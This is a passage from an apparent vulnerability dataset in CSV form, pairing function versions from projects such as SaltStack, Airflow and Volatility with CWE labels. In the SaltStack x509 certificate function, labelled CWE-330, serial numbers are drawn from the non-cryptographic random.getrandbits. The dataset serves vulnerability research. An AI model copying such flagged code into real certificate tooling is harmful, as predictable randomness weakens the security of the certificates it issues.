        ""choices"": [
            {
                ""index"": 0,
                ""message"": {
                    ""role"": ""assistant"",
                    ""content"": content,
                },
                ""finish_reason"": None,
            }
        ],
        ""usage"": {
            ""prompt_tokens"": None,
            ""completion_tokens"": None,
            ""total_tokens"": None,
        },
    }

    with mock.patch(""time.time"", return_value=1677858242):
        result1 = pyfunc_loaded_model.predict(input_example)
        result1[0][""id""] = None
        assert result1 == [expected_chat_response]
        result2 = pyfunc_loaded_model.predict([input_example, input_example])
        result2[0][""id""] = None
        result2[1][""id""] = None
        assert result2 == [
            expected_chat_response,
            expected_chat_response,
        ]

    with pytest.raises(MlflowException, match=""Unrecognized chat message role""):
        pyfunc_loaded_model.predict({""messages"": [{""role"": ""foobar"", ""content"": ""test content""}]})"
,UNKNOWN,UNKNOWN,salt/modules/x509.py,1,"def create_certificate(
        path=None, text=False, overwrite=True, ca_server=None, **kwargs):
    '''
    Create an X509 certificate.

    path:
        Path to write the certificate to.

    text:
        If ``True``, return the PEM text without writing to a file.
        Default ``False``.

    overwrite:
        If ``True`` (default), create_certificate will overwrite the entire PEM
        file. Set False to preserve existing private keys and dh params that
        may exist in the PEM file.

    kwargs:
        Any of the properties below can be included as additional
        keyword arguments.

    ca_server:
        Request a remotely signed certificate from ca_server. For this to
        work, a ``signing_policy`` must be specified, and that same policy
        must be configured on the ca_server. See ``signing_policy`` for
        details. Also, the salt master must permit peers to call the
        ``sign_remote_certificate`` function.

        Example:

        /etc/salt/master.d/peer.conf

        .. code-block:: yaml

            peer:
              .*:
                - x509.sign_remote_certificate

    subject properties:
        Any of the values below can be included to set subject properties
        Any other subject properties supported by OpenSSL should also work.

        C:
            2 letter Country code
        CN:
            Certificate common name, typically the FQDN.

        Email:
            Email address

        GN:
            Given Name

        L:
            Locality

        O:
            Organization

        OU:
            Organization Unit

        SN:
            SurName

        ST:
            State or Province

    signing_private_key:
        A path or string of the private key in PEM format that will be used
        to sign this certificate. If neither ``signing_cert``, ``public_key``,
        or ``csr`` are included, it will be assumed that this is a self-signed
        certificate, and the public key matching ``signing_private_key`` will
        be used to create the certificate.

    signing_private_key_passphrase:
        Passphrase used to decrypt the signing_private_key.

    signing_cert:
        A certificate matching the private key that will be used to sign this
        certificate. This is used to populate the issuer values in the
        resulting certificate. Do not include this value for
        self-signed certificates.

    public_key:
        The public key to be included in this certificate. This can be sourced
        from a public key, certificate, CSR or private key. If a private key
        is used, the matching public key from the private key will be
        generated before any processing is done. This means you can request a
        certificate from a remote CA using a private key file as your
        public_key and only the public key will be sent across the network to
        the CA. If neither ``public_key`` or ``csr`` are specified, it will be
        assumed that this is a self-signed certificate, and the public key
        derived from ``signing_private_key`` will be used. Specify either
        ``public_key`` or ``csr``, not both. Because you can input a CSR as a
        public key or as a CSR, it is important to understand the difference.
        If you import a CSR as a public key, only the public key will be added
        to the certificate, subject or extension information in the CSR will
        be lost.

    public_key_passphrase:
        If the public key is supplied as a private key, this is the passphrase
        used to decrypt it.

    csr:
        A file or PEM string containing a certificate signing request. This
        will be used to supply the subject, extensions and public key of a
        certificate. Any subject or extensions specified explicitly will
        overwrite any in the CSR.

    basicConstraints:
        X509v3 Basic Constraints extension.

    extensions:
        The following arguments set X509v3 Extension values. If the value
        starts with ``critical``, the extension will be marked as critical.

        Some special extensions are ``subjectKeyIdentifier`` and
        ``authorityKeyIdentifier``.

        ``subjectKeyIdentifier`` can be an explicit value or it can be the
        special string ``hash``. ``hash`` will set the subjectKeyIdentifier
        equal to the SHA1 hash of the modulus of the public key in this
        certificate. Note that this is not the exact same hashing method used
        by OpenSSL when using the hash value.

        ``authorityKeyIdentifier`` Use values acceptable to the openssl CLI
        tools. This will automatically populate ``authorityKeyIdentifier``
        with the ``subjectKeyIdentifier`` of ``signing_cert``. If this is a
        self-signed cert these values will be the same.

        basicConstraints:
            X509v3 Basic Constraints

        keyUsage:
            X509v3 Key Usage

        extendedKeyUsage:
            X509v3 Extended Key Usage

        subjectKeyIdentifier:
            X509v3 Subject Key Identifier

        issuerAltName:
            X509v3 Issuer Alternative Name

        subjectAltName:
            X509v3 Subject Alternative Name

        crlDistributionPoints:
            X509v3 CRL Distribution Points

        issuingDistributionPoint:
            X509v3 Issuing Distribution Point

        certificatePolicies:
            X509v3 Certificate Policies

        policyConstraints:
            X509v3 Policy Constraints

        inhibitAnyPolicy:
            X509v3 Inhibit Any Policy

        nameConstraints:
            X509v3 Name Constraints

        noCheck:
            X509v3 OCSP No Check

        nsComment:
            Netscape Comment

        nsCertType:
            Netscape Certificate Type

    days_valid:
        The number of days this certificate should be valid. This sets the
        ``notAfter`` property of the certificate. Defaults to 365.

    version:
        The version of the X509 certificate. Defaults to 3. This is
        automatically converted to the version value, so ``version=3``
        sets the certificate version field to 0x2.

    serial_number:
        The serial number to assign to this certificate. If omitted a random
        serial number of size ``serial_bits`` is generated.

    serial_bits:
        The number of bits to use when randomly generating a serial number.
        Defaults to 64.

    algorithm:
        The hashing algorithm to be used for signing this certificate.
        Defaults to sha256.

    copypath:
        An additional path to copy the resulting certificate to. Can be used
        to maintain a copy of all certificates issued for revocation purposes.

    prepend_cn:
        If set to True, the CN and a dash will be prepended to the copypath's filename.

        Example:
            /etc/pki/issued_certs/www.example.com-DE:CA:FB:AD:00:00:00:00.crt

    signing_policy:
        A signing policy that should be used to create this certificate.
        Signing policies should be defined in the minion configuration, or in
        a minion pillar. It should be a YAML formatted list of arguments
        which will override any arguments passed to this function. If the
        ``minions`` key is included in the signing policy, only minions
        matching that pattern (see match.glob and match.compound) will be
        permitted to remotely request certificates from that policy.

        Example:

        .. code-block:: yaml

            x509_signing_policies:
              www:
                - minions: 'www*'
                - signing_private_key: /etc/pki/ca.key
                - signing_cert: /etc/pki/ca.crt
                - C: US
                - ST: Utah
                - L: Salt Lake City
                - basicConstraints: ""critical CA:false""
                - keyUsage: ""critical cRLSign, keyCertSign""
                - subjectKeyIdentifier: hash
                - authorityKeyIdentifier: keyid,issuer:always
                - days_valid: 90
                - copypath: /etc/pki/issued_certs/

        The above signing policy can be invoked with ``signing_policy=www``

    CLI Example:

    .. code-block:: bash

        salt '*' x509.create_certificate path=/etc/pki/myca.crt signing_private_key='/etc/pki/myca.key' csr='/etc/pki/myca.csr'}
    '''

    if not path and not text and \
            ('testrun' not in kwargs or kwargs['testrun'] is False):
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified.')
    if path and text:
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified, not both.')

    if 'public_key_passphrase' not in kwargs:
        kwargs['public_key_passphrase'] = None
    if ca_server:
        if 'signing_policy' not in kwargs:
            raise salt.exceptions.SaltInvocationError(
                'signing_policy must be specified'
                'if requesting remote certificate from ca_server {0}.'
                .format(ca_server))
        if 'csr' in kwargs:
            kwargs['csr'] = get_pem_entry(
                kwargs['csr'],
                pem_type='CERTIFICATE REQUEST').replace('\n', '')
        if 'public_key' in kwargs:
            # Strip newlines to make passing through as cli functions easier
            kwargs['public_key'] = salt.utils.stringutils.to_str(get_public_key(
                kwargs['public_key'],
                passphrase=kwargs['public_key_passphrase'])).replace('\n', '')

        # Remove system entries in kwargs
        # Including listen_in and prerequired because they are not included
        # in STATE_INTERNAL_KEYWORDS
        # for salt 2014.7.2
        for ignore in list(_STATE_INTERNAL_KEYWORDS) + \
                ['listen_in', 'prerequired', '__prerequired__']:
            kwargs.pop(ignore, None)
        # TODO: Make timeout configurable in 3000
        certs = __salt__['publish.publish'](
            tgt=ca_server,
            fun='x509.sign_remote_certificate',
            arg=salt.utils.data.decode_dict(kwargs, to_str=True),
            timeout=30
        )

        if not any(certs):
            raise salt.exceptions.SaltInvocationError(
                    'ca_server did not respond'
                    ' salt master must permit peers to'
                    ' call the sign_remote_certificate function.')

        cert_txt = certs[ca_server]

        if path:
            return write_pem(
                text=cert_txt,
                overwrite=overwrite,
                path=path,
                pem_type='CERTIFICATE'
            )
        else:
            return cert_txt

    signing_policy = {}
    if 'signing_policy' in kwargs:
        signing_policy = _get_signing_policy(kwargs['signing_policy'])
        if isinstance(signing_policy, list):
            dict_ = {}
            for item in signing_policy:
                dict_.update(item)
            signing_policy = dict_

    # Overwrite any arguments in kwargs with signing_policy
    kwargs.update(signing_policy)

    for prop, default in six.iteritems(CERT_DEFAULTS):
        if prop not in kwargs:
            kwargs[prop] = default

    cert = M2Crypto.X509.X509()

    # X509 Version 3 has a value of 2 in the field.
    # Version 2 has a value of 1.
    # https://tools.ietf.org/html/rfc5280#section-4.1.2.1
    cert.set_version(kwargs['version'] - 1)

    # Random serial number if not specified
    if 'serial_number' not in kwargs:
        kwargs['serial_number'] = _dec2hex(
            random.getrandbits(kwargs['serial_bits']))
    serial_number = int(kwargs['serial_number'].replace(':', ''), 16)
    # With Python3 we occasionally end up with an INT that is greater than a C
    # long max_value. This causes an overflow error due to a bug in M2Crypto.
    # See issue: https://gitlab.com/m2crypto/m2crypto/issues/232
    # Remove this after M2Crypto fixes the bug.
    if six.PY3:
        if salt.utils.platform.is_windows():
            INT_MAX = 2147483647
            if serial_number >= INT_MAX:
                serial_number -= int(serial_number / INT_MAX) * INT_MAX
        else:
            if serial_number >= sys.maxsize:
                serial_number -= int(serial_number / sys.maxsize) * sys.maxsize
    cert.set_serial_number(serial_number)

    # Set validity dates
    # pylint: disable=no-member
    not_before = M2Crypto.m2.x509_get_not_before(cert.x509)
    not_after = M2Crypto.m2.x509_get_not_after(cert.x509)
    M2Crypto.m2.x509_gmtime_adj(not_before, 0)
    M2Crypto.m2.x509_gmtime_adj(not_after, 60 * 60 * 24 * kwargs['days_valid'])
    # pylint: enable=no-member

    # If neither public_key or csr are included, this cert is self-signed
    if 'public_key' not in kwargs and 'csr' not in kwargs:
        kwargs['public_key'] = kwargs['signing_private_key']
        if 'signing_private_key_passphrase' in kwargs:
            kwargs['public_key_passphrase'] = kwargs[
                'signing_private_key_passphrase']

    csrexts = {}
    if 'csr' in kwargs:
        kwargs['public_key'] = kwargs['csr']
        csr = _get_request_obj(kwargs['csr'])
        cert.set_subject(csr.get_subject())
        csrexts = read_csr(kwargs['csr'])['X509v3 Extensions']

    cert.set_pubkey(get_public_key(kwargs['public_key'],
                                   passphrase=kwargs['public_key_passphrase'], asObj=True))

    subject = cert.get_subject()

    # pylint: disable=unused-variable
    for entry, num in six.iteritems(subject.nid):
        if entry in kwargs:
            setattr(subject, entry, kwargs[entry])
    # pylint: enable=unused-variable

    if 'signing_cert' in kwargs:
        signing_cert = _get_certificate_obj(kwargs['signing_cert'])
    else:
        signing_cert = cert
    cert.set_issuer(signing_cert.get_subject())

    for extname, extlongname in six.iteritems(EXT_NAME_MAPPINGS):
        if (extname in kwargs or extlongname in kwargs or
                extname in csrexts or extlongname in csrexts) is False:
            continue

        # Use explicitly set values first, fall back to CSR values.
        extval = kwargs.get(extname) or kwargs.get(extlongname) or \
            csrexts.get(extname) or csrexts.get(extlongname)

        critical = False
        if extval.startswith('critical '):
            critical = True
            extval = extval[9:]

        if extname == 'subjectKeyIdentifier' and 'hash' in extval:
            extval = extval.replace('hash', _get_pubkey_hash(cert))

        issuer = None
        if extname == 'authorityKeyIdentifier':
            issuer = signing_cert

        if extname == 'subjectAltName':
            extval = extval.replace('IP Address', 'IP')

        ext = _new_extension(
            name=extname, value=extval, critical=critical, issuer=issuer)
        if not ext.x509_ext:
            log.info(
                'Invalid X509v3 Extension. {0}: {1}'.format(extname, extval))
            continue

        cert.add_ext(ext)

    if 'signing_private_key_passphrase' not in kwargs:
        kwargs['signing_private_key_passphrase'] = None
    if 'testrun' in kwargs and kwargs['testrun'] is True:
        cert_props = read_certificate(cert)
        cert_props['Issuer Public Key'] = get_public_key(
            kwargs['signing_private_key'],
            passphrase=kwargs['signing_private_key_passphrase'])
        return cert_props

    if not verify_private_key(private_key=kwargs['signing_private_key'],
                              passphrase=kwargs[
                                  'signing_private_key_passphrase'],
                              public_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'signing_private_key: {0} '
            'does no match signing_cert: {1}'.format(
                kwargs['signing_private_key'],
                kwargs.get('signing_cert', '')
            )
        )

    cert.sign(
        _get_private_key_obj(kwargs['signing_private_key'],
                             passphrase=kwargs['signing_private_key_passphrase']),
        kwargs['algorithm']
    )

    if not verify_signature(cert, signing_pub_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'failed to verify certificate signature')

    if 'copypath' in kwargs:
        if 'prepend_cn' in kwargs and kwargs['prepend_cn'] is True:
            prepend = six.text_type(kwargs['CN']) + '-'
        else:
            prepend = ''
        write_pem(text=cert.as_pem(), path=os.path.join(kwargs['copypath'],
                                                        prepend + kwargs['serial_number'] + '.crt'),
                  pem_type='CERTIFICATE')

    if path:
        return write_pem(
            text=cert.as_pem(),
            overwrite=overwrite,
            path=path,
            pem_type='CERTIFICATE'
        )
    else:
        return salt.utils.stringutils.to_str(cert.as_pem())",CWE-330,saltstack/salt,4f4aac3f155a7865e0d0c997cd4572f9c9344a32,"def create_certificate(
        path=None, text=False, overwrite=True, ca_server=None, **kwargs):
    '''
    Create an X509 certificate.

    path:
        Path to write the certificate to.

    text:
        If ``True``, return the PEM text without writing to a file.
        Default ``False``.

    overwrite:
        If ``True`` (default), create_certificate will overwrite the entire PEM
        file. Set False to preserve existing private keys and dh params that
        may exist in the PEM file.

    kwargs:
        Any of the properties below can be included as additional
        keyword arguments.

    ca_server:
        Request a remotely signed certificate from ca_server. For this to
        work, a ``signing_policy`` must be specified, and that same policy
        must be configured on the ca_server. See ``signing_policy`` for
        details. Also, the salt master must permit peers to call the
        ``sign_remote_certificate`` function.

        Example:

        /etc/salt/master.d/peer.conf

        .. code-block:: yaml

            peer:
              .*:
                - x509.sign_remote_certificate

    subject properties:
        Any of the values below can be included to set subject properties
        Any other subject properties supported by OpenSSL should also work.

        C:
            2 letter Country code
        CN:
            Certificate common name, typically the FQDN.

        Email:
            Email address

        GN:
            Given Name

        L:
            Locality

        O:
            Organization

        OU:
            Organization Unit

        SN:
            SurName

        ST:
            State or Province

    signing_private_key:
        A path or string of the private key in PEM format that will be used
        to sign this certificate. If neither ``signing_cert``, ``public_key``,
        or ``csr`` are included, it will be assumed that this is a self-signed
        certificate, and the public key matching ``signing_private_key`` will
        be used to create the certificate.

    signing_private_key_passphrase:
        Passphrase used to decrypt the signing_private_key.

    signing_cert:
        A certificate matching the private key that will be used to sign this
        certificate. This is used to populate the issuer values in the
        resulting certificate. Do not include this value for
        self-signed certificates.

    public_key:
        The public key to be included in this certificate. This can be sourced
        from a public key, certificate, CSR or private key. If a private key
        is used, the matching public key from the private key will be
        generated before any processing is done. This means you can request a
        certificate from a remote CA using a private key file as your
        public_key and only the public key will be sent across the network to
        the CA. If neither ``public_key`` or ``csr`` are specified, it will be
        assumed that this is a self-signed certificate, and the public key
        derived from ``signing_private_key`` will be used. Specify either
        ``public_key`` or ``csr``, not both. Because you can input a CSR as a
        public key or as a CSR, it is important to understand the difference.
        If you import a CSR as a public key, only the public key will be added
        to the certificate, subject or extension information in the CSR will
        be lost.

    public_key_passphrase:
        If the public key is supplied as a private key, this is the passphrase
        used to decrypt it.

    csr:
        A file or PEM string containing a certificate signing request. This
        will be used to supply the subject, extensions and public key of a
        certificate. Any subject or extensions specified explicitly will
        overwrite any in the CSR.

    basicConstraints:
        X509v3 Basic Constraints extension.

    extensions:
        The following arguments set X509v3 Extension values. If the value
        starts with ``critical``, the extension will be marked as critical.

        Some special extensions are ``subjectKeyIdentifier`` and
        ``authorityKeyIdentifier``.

        ``subjectKeyIdentifier`` can be an explicit value or it can be the
        special string ``hash``. ``hash`` will set the subjectKeyIdentifier
        equal to the SHA1 hash of the modulus of the public key in this
        certificate. Note that this is not the exact same hashing method used
        by OpenSSL when using the hash value.

        ``authorityKeyIdentifier`` Use values acceptable to the openssl CLI
        tools. This will automatically populate ``authorityKeyIdentifier``
        with the ``subjectKeyIdentifier`` of ``signing_cert``. If this is a
        self-signed cert these values will be the same.

        basicConstraints:
            X509v3 Basic Constraints

        keyUsage:
            X509v3 Key Usage

        extendedKeyUsage:
            X509v3 Extended Key Usage

        subjectKeyIdentifier:
            X509v3 Subject Key Identifier

        issuerAltName:
            X509v3 Issuer Alternative Name

        subjectAltName:
            X509v3 Subject Alternative Name

        crlDistributionPoints:
            X509v3 CRL Distribution Points

        issuingDistributionPoint:
            X509v3 Issuing Distribution Point

        certificatePolicies:
            X509v3 Certificate Policies

        policyConstraints:
            X509v3 Policy Constraints

        inhibitAnyPolicy:
            X509v3 Inhibit Any Policy

        nameConstraints:
            X509v3 Name Constraints

        noCheck:
            X509v3 OCSP No Check

        nsComment:
            Netscape Comment

        nsCertType:
            Netscape Certificate Type

    days_valid:
        The number of days this certificate should be valid. This sets the
        ``notAfter`` property of the certificate. Defaults to 365.

    version:
        The version of the X509 certificate. Defaults to 3. This is
        automatically converted to the version value, so ``version=3``
        sets the certificate version field to 0x2.

    serial_number:
        The serial number to assign to this certificate. If omitted a random
        serial number of size ``serial_bits`` is generated.

    serial_bits:
        The number of bits to use when randomly generating a serial number.
        Defaults to 64.

    algorithm:
        The hashing algorithm to be used for signing this certificate.
        Defaults to sha256.

    copypath:
        An additional path to copy the resulting certificate to. Can be used
        to maintain a copy of all certificates issued for revocation purposes.

    prepend_cn:
        If set to True, the CN and a dash will be prepended to the copypath's filename.

        Example:
            /etc/pki/issued_certs/www.example.com-DE:CA:FB:AD:00:00:00:00.crt

    signing_policy:
        A signing policy that should be used to create this certificate.
        Signing policies should be defined in the minion configuration, or in
        a minion pillar. It should be a YAML formatted list of arguments
        which will override any arguments passed to this function. If the
        ``minions`` key is included in the signing policy, only minions
        matching that pattern (see match.glob and match.compound) will be
        permitted to remotely request certificates from that policy.

        Example:

        .. code-block:: yaml

            x509_signing_policies:
              www:
                - minions: 'www*'
                - signing_private_key: /etc/pki/ca.key
                - signing_cert: /etc/pki/ca.crt
                - C: US
                - ST: Utah
                - L: Salt Lake City
                - basicConstraints: ""critical CA:false""
                - keyUsage: ""critical cRLSign, keyCertSign""
                - subjectKeyIdentifier: hash
                - authorityKeyIdentifier: keyid,issuer:always
                - days_valid: 90
                - copypath: /etc/pki/issued_certs/

        The above signing policy can be invoked with ``signing_policy=www``

    CLI Example:

    .. code-block:: bash

        salt '*' x509.create_certificate path=/etc/pki/myca.crt signing_private_key='/etc/pki/myca.key' csr='/etc/pki/myca.csr'}
    '''

    if not path and not text and \
            ('testrun' not in kwargs or kwargs['testrun'] is False):
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified.')
    if path and text:
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified, not both.')

    if 'public_key_passphrase' not in kwargs:
        kwargs['public_key_passphrase'] = None
    if ca_server:
        if 'signing_policy' not in kwargs:
            raise salt.exceptions.SaltInvocationError(
                'signing_policy must be specified'
                'if requesting remote certificate from ca_server {0}.'
                .format(ca_server))
        if 'csr' in kwargs:
            kwargs['csr'] = get_pem_entry(
                kwargs['csr'],
                pem_type='CERTIFICATE REQUEST').replace('\n', '')
        if 'public_key' in kwargs:
            # Strip newlines to make passing through as cli functions easier
            kwargs['public_key'] = salt.utils.stringutils.to_str(get_public_key(
                kwargs['public_key'],
                passphrase=kwargs['public_key_passphrase'])).replace('\n', '')

        # Remove system entries in kwargs
        # Including listen_in and prerequired because they are not included
        # in STATE_INTERNAL_KEYWORDS
        # for salt 2014.7.2
        for ignore in list(_STATE_INTERNAL_KEYWORDS) + \
                ['listen_in', 'prerequired', '__prerequired__']:
            kwargs.pop(ignore, None)
        # TODO: Make timeout configurable in Neon
        certs = __salt__['publish.publish'](
            tgt=ca_server,
            fun='x509.sign_remote_certificate',
            arg=salt.utils.data.decode_dict(kwargs, to_str=True),
            timeout=30
        )

        if not any(certs):
            raise salt.exceptions.SaltInvocationError(
                    'ca_server did not respond'
                    ' salt master must permit peers to'
                    ' call the sign_remote_certificate function.')

        cert_txt = certs[ca_server]

        if path:
            return write_pem(
                text=cert_txt,
                overwrite=overwrite,
                path=path,
                pem_type='CERTIFICATE'
            )
        else:
            return cert_txt

    signing_policy = {}
    if 'signing_policy' in kwargs:
        signing_policy = _get_signing_policy(kwargs['signing_policy'])
        if isinstance(signing_policy, list):
            dict_ = {}
            for item in signing_policy:
                dict_.update(item)
            signing_policy = dict_

    # Overwrite any arguments in kwargs with signing_policy
    kwargs.update(signing_policy)

    for prop, default in six.iteritems(CERT_DEFAULTS):
        if prop not in kwargs:
            kwargs[prop] = default

    cert = M2Crypto.X509.X509()

    # X509 Version 3 has a value of 2 in the field.
    # Version 2 has a value of 1.
    # https://tools.ietf.org/html/rfc5280#section-4.1.2.1
    cert.set_version(kwargs['version'] - 1)

    # Random serial number if not specified
    if 'serial_number' not in kwargs:
        kwargs['serial_number'] = _dec2hex(
            random.getrandbits(kwargs['serial_bits']))
    serial_number = int(kwargs['serial_number'].replace(':', ''), 16)
    # With Python3 we occasionally end up with an INT that is greater than a C
    # long max_value. This causes an overflow error due to a bug in M2Crypto.
    # See issue: https://gitlab.com/m2crypto/m2crypto/issues/232
    # Remove this after M2Crypto fixes the bug.
    if six.PY3:
        if salt.utils.platform.is_windows():
            INT_MAX = 2147483647
            if serial_number >= INT_MAX:
                serial_number -= int(serial_number / INT_MAX) * INT_MAX
        else:
            if serial_number >= sys.maxsize:
                serial_number -= int(serial_number / sys.maxsize) * sys.maxsize
    cert.set_serial_number(serial_number)

    # Set validity dates
    # pylint: disable=no-member
    not_before = M2Crypto.m2.x509_get_not_before(cert.x509)
    not_after = M2Crypto.m2.x509_get_not_after(cert.x509)
    M2Crypto.m2.x509_gmtime_adj(not_before, 0)
    M2Crypto.m2.x509_gmtime_adj(not_after, 60 * 60 * 24 * kwargs['days_valid'])
    # pylint: enable=no-member

    # If neither public_key or csr are included, this cert is self-signed
    if 'public_key' not in kwargs and 'csr' not in kwargs:
        kwargs['public_key'] = kwargs['signing_private_key']
        if 'signing_private_key_passphrase' in kwargs:
            kwargs['public_key_passphrase'] = kwargs[
                'signing_private_key_passphrase']

    csrexts = {}
    if 'csr' in kwargs:
        kwargs['public_key'] = kwargs['csr']
        csr = _get_request_obj(kwargs['csr'])
        cert.set_subject(csr.get_subject())
        csrexts = read_csr(kwargs['csr'])['X509v3 Extensions']

    cert.set_pubkey(get_public_key(kwargs['public_key'],
                                   passphrase=kwargs['public_key_passphrase'], asObj=True))

    subject = cert.get_subject()

    # pylint: disable=unused-variable
    for entry, num in six.iteritems(subject.nid):
        if entry in kwargs:
            setattr(subject, entry, kwargs[entry])
    # pylint: enable=unused-variable

    if 'signing_cert' in kwargs:
        signing_cert = _get_certificate_obj(kwargs['signing_cert'])
    else:
        signing_cert = cert
    cert.set_issuer(signing_cert.get_subject())

    for extname, extlongname in six.iteritems(EXT_NAME_MAPPINGS):
        if (extname in kwargs or extlongname in kwargs or
                extname in csrexts or extlongname in csrexts) is False:
            continue

        # Use explicitly set values first, fall back to CSR values.
        extval = kwargs.get(extname) or kwargs.get(extlongname) or \
            csrexts.get(extname) or csrexts.get(extlongname)

        critical = False
        if extval.startswith('critical '):
            critical = True
            extval = extval[9:]

        if extname == 'subjectKeyIdentifier' and 'hash' in extval:
            extval = extval.replace('hash', _get_pubkey_hash(cert))

        issuer = None
        if extname == 'authorityKeyIdentifier':
            issuer = signing_cert

        if extname == 'subjectAltName':
            extval = extval.replace('IP Address', 'IP')

        ext = _new_extension(
            name=extname, value=extval, critical=critical, issuer=issuer)
        if not ext.x509_ext:
            log.info(
                'Invalid X509v3 Extension. {0}: {1}'.format(extname, extval))
            continue

        cert.add_ext(ext)

    if 'signing_private_key_passphrase' not in kwargs:
        kwargs['signing_private_key_passphrase'] = None
    if 'testrun' in kwargs and kwargs['testrun'] is True:
        cert_props = read_certificate(cert)
        cert_props['Issuer Public Key'] = get_public_key(
            kwargs['signing_private_key'],
            passphrase=kwargs['signing_private_key_passphrase'])
        return cert_props

    if not verify_private_key(private_key=kwargs['signing_private_key'],
                              passphrase=kwargs[
                                  'signing_private_key_passphrase'],
                              public_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'signing_private_key: {0} '
            'does no match signing_cert: {1}'.format(
                kwargs['signing_private_key'],
                kwargs.get('signing_cert', '')
            )
        )

    cert.sign(
        _get_private_key_obj(kwargs['signing_private_key'],
                             passphrase=kwargs['signing_private_key_passphrase']),
        kwargs['algorithm']
    )

    if not verify_signature(cert, signing_pub_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'failed to verify certificate signature')

    if 'copypath' in kwargs:
        if 'prepend_cn' in kwargs and kwargs['prepend_cn'] is True:
            prepend = six.text_type(kwargs['CN']) + '-'
        else:
            prepend = ''
        write_pem(text=cert.as_pem(), path=os.path.join(kwargs['copypath'],
                                                        prepend + kwargs['serial_number'] + '.crt'),
                  pem_type='CERTIFICATE')

    if path:
        return write_pem(
            text=cert.as_pem(),
            overwrite=overwrite,
            path=path,
            pem_type='CERTIFICATE'
        )
    else:
        return salt.utils.stringutils.to_str(cert.as_pem())"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_gcs.py,1,"def test_provide_file(self, mock_service, mock_temp_file):
        test_bucket = 'test_bucket'
        test_object = 'test_object'
        test_object_bytes = io.BytesIO(b""input"")
        test_file = 'test_file'

        download_filename_method = (
            mock_service.return_value.bucket.return_value.blob.return_value.download_to_filename
        )
        download_filename_method.return_value = None

        download_as_a_bytes_method = (
            mock_service.return_value.bucket.return_value.blob.return_value.download_as_bytes
        )
        download_as_a_bytes_method.return_value = test_object_bytes
        mock_temp_file.return_value.__enter__.return_value = mock.MagicMock()
        mock_temp_file.return_value.__enter__.return_value.name = test_file

        with self.gcs_hook.provide_file(bucket_name=test_bucket, object_name=test_object) as response:

            assert test_file == response.name
        download_filename_method.assert_called_once_with(test_file, timeout=60)
        mock_temp_file.assert_has_calls(
            [
                mock.call(suffix='test_object', dir=None),
                mock.call().__enter__(),
                mock.call().__enter__().flush(),
                mock.call().__exit__(None, None, None),
            ]
        )",CWE-703,apache/airflow,da485da29a06ecdda720a7ba75f04a2680aac0a2,"def test_provide_file(self, mock_service, mock_temp_file):
        test_bucket = 'test_bucket'
        test_object = 'test_object'
        test_object_bytes = io.BytesIO(b""input"")
        test_file = 'test_file'

        download_filename_method = (
            mock_service.return_value.bucket.return_value.blob.return_value.download_to_filename
        )
        download_filename_method.return_value = None

        download_as_a_bytes_method = (
            mock_service.return_value.bucket.return_value.blob.return_value.download_as_bytes
        )
        download_as_a_bytes_method.return_value = test_object_bytes
        mock_temp_file.return_value.__enter__.return_value = mock.MagicMock()
        mock_temp_file.return_value.__enter__.return_value.name = test_file

        with self.gcs_hook.provide_file(bucket_name=test_bucket, object_name=test_object) as response:

            assert test_file == response.name
        download_filename_method.assert_called_once_with(test_file, timeout=60)
        mock_temp_file.assert_has_calls(
            [
                mock.call(suffix='test_object'),
                mock.call().__enter__(),
                mock.call().__enter__().flush(),
                mock.call().__exit__(None, None, None),
            ]
        )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/raw2dmp.py,0,"def convert_to_crash(config, output):

        blocksize = config.BLOCKSIZE
        config.WRITE = True
        pspace = utils.load_as(config, astype = 'physical')
        vspace = utils.load_as(config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.VolMagic(vspace).KDBG.v()

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType
        headerspace.write(header.DumpType.obj_offset, ""\x01\x00\x00\x00"")

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information. We used to take the sum of the size 
        # of all runs, but that assumed the base layer was raw. In the case 
        # of base layers such as ELF64 core dump or any other run-based address 
